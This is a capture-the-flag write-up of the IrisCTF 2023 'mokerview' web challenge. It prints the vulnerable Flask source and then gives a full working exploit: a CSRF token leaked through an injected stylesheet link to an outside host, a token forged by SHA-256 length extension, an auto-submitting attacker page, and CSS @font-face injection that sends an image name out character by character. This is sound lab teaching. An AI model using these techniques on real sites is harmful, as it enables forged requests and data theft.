IrisCTF 2023-web-mokerview

yoobi·2023년 2월 21일
0

Keywords

  • CSRF Token
  • Hash Length Extension Attack
    - HashPump
    - hlextend
  • CSS Injection
    - CSP img-src bypass
    - @font-face attack

Given info

  • the URL, mokerview.py file and admin bot were given
  • Thus, we can think that we should do some XSS or CSRF using the given admin bot
  • let's find where is the FLAG
from flask import Flask, request, redirect, make_response, send_from_directory
from werkzeug.urls import url_decode, url_encode
from functools import wraps
from collections import defaultdict
import hashlib
import requests
import re
import secrets
import base64

app = Flask(__name__)

FLAGMOKER = "REDACTED"
MOKERS = {"moker1": "dQJOyoO", "moker2": "dQJOyoO", "moker3": "dQJOyoO", "moker4": "dQJOyoO", "moker6": "dQJOyoO", "moker7": "dQJOyoO", "moker8": "dQJOyoO", "flagmoker": FLAGMOKER}
MOKER_PATTERN = re.compile("^[A-Za-z0-9]+$")
MOKEROFTHEDAY = "moker3"
STYLE_PATTERN = re.compile("^[A-Za-z0 -9./]+$")
STYLES = ["moker.css", "plain.css"]

########### HELPERS

def imgur(moker):
    return f"https://i.imgur.com/{moker}.png"

ADMIN_PASS = "REDACTED"
users = {"@admin": {"password": ADMIN_PASS, "mokers": []}}
sessions = defaultdict(dict)

@app.after_request
def csp(r):
    # Moker does not like "Java Script"
    r.headers["Content-Security-Policy"] = "script-src 'none'; img-src https://i.imgur.com/"
    return r

def session(f):
    @wraps(f)
    def dec(*a, **k):
        session = request.cookies.get("session", None)
        if session is None or session not in sessions:
            return redirect("/")

        session_obj = sessions[session]
        return f(session_obj, *a, **k)
    return dec

def csrf(f):
    @wraps(f)
    def dec(*a, **k):
        session = request.cookies.get("session", None)
        if session is None or session not in sessions:
            return redirect("/")
        session = sessions[session]

        token = request.args.get("token", None)
        args = base64.urlsafe_b64decode(request.args.get("args", ""))
        if args != b"":
            query = request.path.encode() + b"?" + args
        else:
            query = request.path.encode()

        if token is None:
            return "CSRF token missing"
        if hashlib.sha256(session["key"] + query).digest().hex() != token:
            return "Invalid CSRF token"

        request.args = url_decode(args)
        return f(*a, **k)
    return dec

def signer(session):
    def sign(url):
        raw_url = url.encode()
        token = hashlib.sha256(session["key"] + raw_url).digest().hex()
        if url.find("?") != -1:
            idx = url.index("?")
            base = url[:idx]
            args = url[idx+1:]
            return base + "?" + url_encode({"args": base64.urlsafe_b64encode(args.encode()), "token": token})
        else:
            return url + "?" + url_encode({"args": '', "token": token})
    return sign

def header(session):
    sign = signer(session)

    return f"<a href='{sign('/logout')}'>Logout</a> <a href='/view'>My Mokers</a> <a href='/add'>Add a Moker</a> <a href='/create'>Create a new Moker</a> <a href='/delete'>Remove Moker</a>\
<form id='add' method='POST' action='{sign('/add?daily=1')}'><input type='submit' value='*Add \"Moker of the Day\"*'/></form>"

########### ROUTES

@app.route("/")
def home():
    session = request.cookies.get("session", None)
    if session is None or session not in sessions:
        return "<!DOCTYPE html><html><body>Welcome to my Moker Collection website. Please <a href=/register>register</a> or <a href=/login>login</a>.</body></html>"
    
    return redirect("/view")

@app.route('/static/<path:path>')
def staticServe(path):
    return send_from_directory('static', path)

@app.route("/register", methods=["GET"])
def register_form():
    return "<!DOCTYPE html><html><body>Register an Account<br>\
<form method='POST'><input type='text' name='user' value='username'><input type='text' name='password' value='password (stored in plaintext for you)'><input type='submit' value='Submit'></form></body></html>"

@app.route("/register", methods=["POST"])
def register():
    user = request.form.get("user", None)
    password = request.form.get("password", None)
    if user is None or password is None:
        return "Need user and password"
    if not (MOKER_PATTERN.match(user) and MOKER_PATTERN.match(password)):
        return "Invalid username/password"
    users[user] = {"password": password, "mokers": []}
    return redirect("/login")

@app.route("/login", methods=["GET"])
def login_form():
    return "<!DOCTYPE html><html><body>Login<br>\
<form method='POST'><input type='text' name='user' value='Username'><input type='text' name='password' value='password (stored in plaintext for you)'><input type='submit' value='Submit'></form></body></html>"

@app.route("/login", methods=["POST"])
def login():
    user = request.form.get("user", "")
    password = request.form.get("password", "")
    if user not in users:
        return "No user"
    if users[user]["password"] == password:
        response = make_response(redirect("/view"))
        sid = request.cookies.get("session", secrets.token_hex(16))
        sessions[sid].clear()
        response.set_cookie("session", sid, httponly=True)
        sessions[sid]["user"] = user
        sessions[sid]["key"] = secrets.token_bytes(16)
        return response
    return "Invalid user/pass"

@app.route("/logout", methods=["GET"])
@csrf
def logout():
    sid = request.cookies.get("session") # already exists given by @csrf
    del sessions[sid]
    r = make_response(redirect("/"))
    r.delete_cookie("session")
    return r

@app.route("/view", methods=["GET"])
@session
def view(session):
    style = request.args.get("style", "/static/plain.css")
    if not STYLE_PATTERN.match(style):
        return "Bad style link"

    mokers = "<br>".join(f"<img src={imgur(moker)} referrerpolicy=no-referrer class=moker></img>" for moker in users[session["user"]]["mokers"])
    styles = " ".join(f"<a href=/view?style=/static/{s}>{s}</a>" for s in STYLES)
    return f"<!DOCTYPE html><html><head><link rel=stylesheet href={style}></head><body>{header(session)}<br>Use Some Styles: {styles}<br>Your'e Mokers: <br><br>{mokers}</body></html>"

@app.route("/create", methods=["GET"])
@session
def create_form(session):
    sign = signer(session)
    form = f"<form action='/create' method='POST'><input type='text' name='name' value='Name of Moker'><input type='text' name='path' value='imgur path without extension'><input type='submit' value='Create'></form>"

    return "<!DOCTYPE html><html><body>" + header(session) + "Create a moker.<br>" + form + "</body></html>"

@app.route("/create", methods=["POST"])
@session
def create(session):
    if len(MOKERS) > 30:
        return "We are at max moker capacity. Safety protocols do not allow adding more moker"

    name = request.form.get("name", None)
    if name is None or name in MOKERS:
        return "No name for new moker"
    path = request.form.get("path", None)
    if path is None or not MOKER_PATTERN.match(path):
        return "Invalid moker path"

    if requests.get(imgur(path)).status_code != 200:
        return "This moker does not appear to be valid"
    
    MOKERS[name] = path
    return redirect("/view")

@app.route("/add", methods=["GET"])
@session
def add_form(session):
    sign = signer(session)
    mokers = " ".join(f"<form action='{sign('/add?moker=' + moker)}' method='POST'><input type='submit' value='{moker}'></form>" for moker in MOKERS)
    return "<!DOCTYPE html><html><body>" + header(session) + "Add a moker to your list.<br>" + mokers + "</body></html>"

@app.route("/add", methods=["POST"])
@csrf
@session
def add(session):
    moker = request.args.get("moker", None)
    if moker is None:
        if request.args.get('daily', False):
            moker = MOKEROFTHEDAY
    if (moker == "flagmoker" and session["user"] != "@admin") or moker not in MOKERS:
        return "Invalid moker"

    if requests.get(imgur(MOKERS[moker])).status_code != 200:
        return "This moker is not avaliable at this time"

    if(len(users[session["user"]]["mokers"]) > 30):
        # this is too many mokers for one person. you don't need this many
        users[session["user"]]["mokers"].clear()
    users[session["user"]]["mokers"].append(MOKERS[moker])
    return redirect("/view")

@app.route("/delete", methods=["GET"])
@session
def delete_form(session):
    sign = signer(session)
    mokers = " ".join(f"<form action={sign('/delete?moker=' + moker)} method=POST><img src={imgur(moker)}></img><input type=submit value=Remove></form>" for moker in users[session["user"]]["mokers"])
    return "<!DOCTYPE html><html><body>" + header(session) + "Remove a moker from your list.<br>" + mokers + "</body></html>"

@app.route("/delete", methods=["POST"])
@csrf
@session
def delete(session):
    moker = request.args.get("moker", None)
    if moker is None:
        return "No moker to remove"
    users[session["user"]]["mokers"].remove(moker)
    return redirect("/view")
  • We can find the flagmoker
FLAGMOKER = "REDACTED"
MOKERS = {"moker1": "dQJOyoO", "moker2": "dQJOyoO", "moker3": "dQJOyoO", "moker4": "dQJOyoO", "moker6": "dQJOyoO", "moker7": "dQJOyoO", "moker8": "dQJOyoO", "flagmoker": FLAGMOKER}
  • The MOKERS have 8 same values "dQJOyoO", and that is the common moker png's location https://i.imgur.com/dQJOyoO.png
  • Maybe we should find https://i.imgur.com/{FLAGMOKER}.png to get FLAG
<!-- moker 8 -->
/add?args=bW9rZXI9bW9rZXI4&token=6f44342ddd64adb6866ecd1c0ffc77445fe13f519e074a20d354b2d8a94c9e80
<!-- flagmoker -->
/add?args=bW9rZXI9ZmxhZ21va2Vy&token=a7d28611ebb8280c2d22ba5dfc4153a8814ce2b66004a7f2bc5580883a1c65c9
  • the add service have args & token
  • They do sign() function to make actual /add?args=blahblah&token=blahblah URL
@app.route("/add", methods=["GET"])
@session
def add_form(session):
    sign = signer(session)
    mokers = " ".join(f"<form action='{sign('/add?moker=' + moker)}' method='POST'><input type='submit' value='{moker}'></form>" for moker in MOKERS)
    return "<!DOCTYPE html><html><body>" + header(session) + "Add a moker to your list.<br>" + mokers + "</body></html>"
  • sign() make token value using session value, thus we can not guessing the admin's token value
def signer(session):
    def sign(url):
        raw_url = url.encode()
        token = hashlib.sha256(session["key"] + raw_url).digest().hex()
        if url.find("?") != -1:
            idx = url.index("?")
            base = url[:idx]
            args = url[idx+1:]
            return base + "?" + url_encode({"args": base64.urlsafe_b64encode(args.encode()), "token": token})
        else:
            return url + "?" + url_encode({"args": '', "token": token})
    return sign
@app.route("/add", methods=["POST"])
@csrf
@session
def add(session):
    moker = request.args.get("moker", None)
    if moker is None:
        if request.args.get('daily', False):
            moker = MOKEROFTHEDAY
    if (moker == "flagmoker" and session["user"] != "@admin") or moker not in MOKERS:
        return "Invalid moker"

    if requests.get(imgur(MOKERS[moker])).status_code != 200:
        return "This moker is not avaliable at this time"

    if(len(users[session["user"]]["mokers"]) > 30):
        # this is too many mokers for one person. you don't need this many
        users[session["user"]]["mokers"].clear()
    users[session["user"]]["mokers"].append(MOKERS[moker])
    return redirect("/view")
  • If we try to add flagmoker and check session["user"] != "@admin"
  • They using csrf() fucntion to check token value
  • We should get admin's flagmoker adding token value

flow

  1. add FLAGMOKER
    • get admin token value (bypass csrf)
    • using Hash Length extenstion attack to make new csrf token value to add flagmoker
  2. get FLAGMOKER filename using CSS INJECTION
    • bypass CSP img-src using @font-face

make admin to add flagmoker

  • We have to make actual token value to add flagmoker using admin bot
  • Here we can use Hash Length extenstion attack to make new token
def signer(session):
    def sign(url):
        raw_url = url.encode()
        token = hashlib.sha256(session["key"] + raw_url).digest().hex()
        if url.find("?") != -1:
            idx = url.index("?")
            base = url[:idx]
            args = url[idx+1:]
            return base + "?" + url_encode({"args": base64.urlsafe_b64encode(args.encode()), "token": token})
        else:
            return url + "?" + url_encode({"args": '', "token": token})
    return sign
  • sign() function use sha256 to make token value
  • the famous Hash length extension attack tool are HashPump and hlextend(python)
  • Let's use HashPump to make new token
  • Before make new token, use should know admin's original token value, this service have styles option to choose moker.css or plain.css. The style options are send by GET parameter. It means that we can change style value
@app.route("/view", methods=["GET"])
@session
def view(session):
    style = request.args.get("style", "/static/plain.css")
    if not STYLE_PATTERN.match(style):
        return "Bad style link"

    mokers = "<br>".join(f"<img src={imgur(moker)} referrerpolicy=no-referrer class=moker></img>" for moker in users[session["user"]]["mokers"])
    styles = " ".join(f"<a href=/view?style=/static/{s}>{s}</a>" for s in STYLES)
    return f"<!DOCTYPE html><html><head><link rel=stylesheet href={style}></head><body>{header(session)}<br>Use Some Styles: {styles}<br>Your'e Mokers: <br><br>{mokers}</body></html>"
  • But, they have STYLE_PATTERN to check Bad style link or not
STYLE_PATTERN = re.compile("^[A-Za-z0 -9./]+$")
  • We can see that STYLE_PATTERN include "0 -9", not "0-9"
  • Thus, we can use the "whitespace" to "9" value
  • They include ", ', / etc.
  • Now try to write "https://obyccpl.request.dreamhack.games/ to get admin's token value to hacker's server
  • if we write " into style value we can read the behind values like this
<!DOCTYPE html><html><head><link rel=stylesheet href="//yvjhfpv.request.dreamhack.games/></head><body><a href='/logout?args=&token=453dd283e4afa0272972bec4a55ac0152d8dbb462640cbebf9a61b48509230d6'>Logout</a> <a href='/view'>My Mokers</a> <a href='/add'>Add a Moker</a> <a href='/create'>Create a new Moker</a> <a href='/delete'>Remove Moker</a><form id='add' method='POST' action='/add?args=ZGFpbHk9MQ%3D%3D&token=800b65d74a57ebae509da5c53b2aa382975e8670c34f6054d9ec033a36f3aaa9'><input type='submit' value='*Add "Moker of the Day"*'/></form><br>Use Some Styles: <a href=/view?style=/static/moker.css>moker.css</a> <a href=/view?style=/static/plain.css>plain.css</a><br>Your'e Mokers: <br><br><img src=https://i.imgur.com/dQJOyoO.png referrerpolicy=no-referrer class=moker></img></body></html>
  • The link href have
"//yvjhfpv.request.dreamhack.games/></head><body><a href='/logout?args=&token=453dd283e4afa0272972bec4a55ac0152d8dbb462640cbebf9a61b48509230d6'>Logout</a> <a href='/view'>My Mokers</a> <a href='/add'>Add a Moker</a> <a href='/create'>Create a new Moker</a> <a href='/delete'>Remove Moker</a><form id='add' method='POST' action='/add?args=ZGFpbHk9MQ%3D%3D&token=800b65d74a57ebae509da5c53b2aa382975e8670c34f6054d9ec033a36f3aaa9'><input type='submit' value='*Add "
  • Here the point is we can not write https:// because of :, but we can load the link style href like //www.text.com/test.css
  • If admin bot execute this URL http://127.0.0.1:5000/view?style=%22//obyccpl.request.dreamhack.games/ we can get the admin's token value like this
  • The admin token info is /add?args=ZGFpbHk9MQ%3D%3D&token=bc28f9189c065c34d7ef3a11418682890db764b925572e1e75349bb0cdd64900
  • Now, we have the admin token info, but we have to make the query that add flagmoker
  • Here we can use hashpump or hlextend(python)
  • This is hashpump sample command
# hashpump -s '6d5f807e23db210bc254a28be2d6759a0f5f5d99' --data 'count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo' -a '&waffle=liege' -k 14

0e41270260895979317fff3898ab85668953aaa2
count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&waffle=liege
  • Let's make add flagmoker extended query using hashpump
# hashpump -s 'bc28f9189c065c34d7ef3a11418682890db764b925572e1e75349bb0cdd64900' --data 'daily=1' -a '&moker=flagmoker' -k 16

cd98d271a1dba578f4649cf1014e542629dca0edbdec186ce1ecfd611cb0ccc4
daily=1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8&moker=flagmoker
  • give this URL to admin bot, but we can not add flagmoker
    http://127.0.0.1:5000/add?args=ZGFpbHk9MYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4CZtb2tlcj1mbGFnbW9rZXI%3D&token=3e6bb2758bd9ecff2af16d16d32b6c638718866c13882b310e70dda149a13897
  • because we should make admin to execute POST url
  • Thus, make own server to make POST url
  • Using flask server and set POST form to submit the adding flagmoker packet
<html>
	<body>
		<form id="leak_token_form" action="http://127.0.0.1:5000/view" method="get" target="fake">
			<input type="hidden" name="style" value='"//127.0.0.1:5001/tokenleak/'/>
		</form>
		<form id="add_moker_form" action="" method="post" target="_blank"></form>
		
		<script>
            (async () => {
                var moker_host = "http://127.0.0.1:5000";
                var ngrok = "127.0.0.1:5001";

                await fetch("/reset");
                await new Promise((r) => setTimeout(r, 1000));

                document.getElementById("leak_token_form").submit();
                await new Promise((r) => setTimeout(r, 1000));

                // Add flagmoker to admin
                let add_flag_moker_url = await (await fetch("/addflagmokerurl")).text();
                console.log("add_flag_moker_url", add_flag_moker_url);
                document.getElementById("add_moker_form").action = add_flag_moker_url;
                document.getElementById("add_moker_form").submit();
                await new Promise((r) => setTimeout(r, 1000));
            })();
        </script>
	</body>
</html>
  • Now we can see that the admin added flagmoker by our exploit scripts


get added flagmoker file name by CSS Injection

  • We using style parameter to get CSRF token to add flagmoker
  • Now we should get flagmoker's image file name, the file name would be like https://i.imgur.com/FAKEFAKE.png
  • common CSS Injection query is
img[src^="https://i.imgur.com/l"] {
    background-image: url(http://127.0.0.1:5001/leak?c=l);
}
  • But, we can not execute url() because of Content Security Policy "img-src https://i.imgur.com/"
  • We can use @font-face to approach the url() bypass CSP img-src option
@font-face {
	font-family: 'leakl';
	src: url(http://127.0.0.1:5001/leak?c=l);
}
body:has(img[src^="http://i.imgur.com/l"]):before {
	font-family: "leakl";
	border: 1px red solid;
	content: "yoobi";
}
  • Using this idea, we can make FULL CSS Injection exploit code
@app.route("/css")
def css_injection():
    out = ""
    for c in string.ascii_lowercase + string.digits:
        out += f"@font-face {{\n"
        out += f"    font-family: 'leak{c}';\n"
        out += f"    src: url(http://127.0.0.1:5001/leak?c={c});\n"
        out += f"}}\n"

        out += f'body:has(img[src^="{flagmoker}{c}"]):before {{\n'
        out += f'    font-family: "leak{c}";\n'
        out += f'    border: 1px red solid;\n'
        out += f'    content: "yoobi";\n'
        out += f'}}\n'

    for c in string.ascii_uppercase:
        out += f"@font-face {{\n"
        out += f"    font-family: 'leakU{c}';\n"
        out += f"    src: url(http://127.0.0.1:5001/leak?c={c});\n"
        out += f"}}\n"

        out += f'body:has(img[src^="{flagmoker}{c}"]):before {{\n'
        out += f'    font-family: "leakU{c}";\n'
        out += f'    border: 1px red solid;\n'
        out += f'    content: "yoobi";\n'
        out += f'}}\n'

    return out, 200, {'Content-Type': 'text/css; charset=utf-8'}

Full Exploit

from flask import Flask, request, send_file
import string
import hlextend
import base64

app = Flask(__name__)

flagmoker = "https://i.imgur.com/"
csrf_token = ""

NGROK = "https://127.0.0.1:5001"
MOKERHOST = "http://127.0.0.1:5000"

@app.route("/")
def hello_world():
    return send_file("index.html")


@app.route("/tokenleak/<path:path>")
def csrf_token_leak(path):
    global csrf_token
    csrf_token = request.url.split("token=")[2].split("%27")[0]
    print("The token is: ", csrf_token)
    return "thanks!"


@app.route("/addflagmokerurl")
def add_flagmoker_redirect():
    print("using csrf_token", csrf_token)
    sha = hlextend.new('sha256')
    contents_raw = sha.extend(b'&moker=flagmoker', b'daily=1', 21, str(csrf_token))
    print("contents_raw", contents_raw)
    contents = base64.urlsafe_b64encode(contents_raw).decode()
    contents = contents.replace("=", "%3D")
    print("Contents.b64", contents)

    digest = sha.hexdigest()
    print("New CSRF Token", digest)

    redirect_url = f"{MOKERHOST}/add?args={contents}&token={digest}"
    print("redirect_url", redirect_url)
    return redirect_url


@app.route("/exploit")
def exploit():
    return f"""<HTML><body><iframe src{NGROK + "/css"}</iframe><body>"""


@app.route("/reset")
def reset():
    global flagmoker
    global csrf_token
    flagmoker = "https://i.imgur.com/"
    csrf_token = ""
    return "Thanks!"


@app.route("/leak")
def leak_character():
    global flagmoker
    flagmoker += request.args.get("c")
    print("Current flagmoker", flagmoker)
    return "nice", 200, {"content-type": "application/font-woff"}


@app.route("/css")
def css_injection():
    out = ""
    for c in string.ascii_lowercase + string.digits:
        out += f"@font-face {{\n"
        out += f"    font-family: 'leak{c}';\n"
        out += f"    src: url(http://127.0.0.1:5001/leak?c={c});\n"
        out += f"}}\n"

        out += f'body:has(img[src^="{flagmoker}{c}"]):before {{\n'
        out += f'    font-family: "leak{c}";\n'
        out += f'    border: 1px red solid;\n'
        out += f'    content: "yoobi";\n'
        out += f'}}\n'

    for c in string.ascii_uppercase:
        out += f"@font-face {{\n"
        out += f"    font-family: 'leakU{c}';\n"
        out += f"    src: url(http://127.0.0.1:5001/leak?c={c});\n"
        out += f"}}\n"

        out += f'body:has(img[src^="{flagmoker}{c}"]):before {{\n'
        out += f'    font-family: "leakU{c}";\n'
        out += f'    border: 1px red solid;\n'
        out += f'    content: "yoobi";\n'
        out += f'}}\n'

    return out, 200, {'Content-Type': 'text/css; charset=utf-8'}
<html>
    <body>
        Exploit Script.
        <form id="leak_token_form" action="http://127.0.0.1:5000/view" method="get" target="fake">
            <input type="hidden" name="style" value='"//127.0.0.1:5001/tokenleak/'/>
        </form>

        <form id="add_moker_form" action="" method="post" target="_blank"></form>
        <form id="leak_mokerflag_form" action="http://127.0.0.1:5000/view" method="get" target="_blank">
            <input type="hidden" name="style" value='//127.0.0.1:5001/css'/>
        </form>

        <script>
            (async () => {
                var moker_host = "http://127.0.0.1:5000";
                var ngrok = "127.0.0.1:5001";

                await fetch("/reset");
                await new Promise((r) => setTimeout(r, 1000));

                document.getElementById("leak_token_form").submit();
                await new Promise((r) => setTimeout(r, 1000));

                // Add flagmoker to admin
                let add_flag_moker_url = await (await fetch("/addflagmokerurl")).text();
                console.log("add_flag_moker_url", add_flag_moker_url);
                document.getElementById("add_moker_form").action = add_flag_moker_url;
                document.getElementById("add_moker_form").submit();
                await new Promise((r) => setTimeout(r, 1000));

                // Leak URL
                for (let i = 0; i < 8; i++){
                    document.getElementById("leak_mokerflag_form").submit();
                    await new Promise((r) => setTimeout(r, 1000));
                }

            })();
        </script>
    </body>
</html>


profile
this is yoobi

0개의 댓글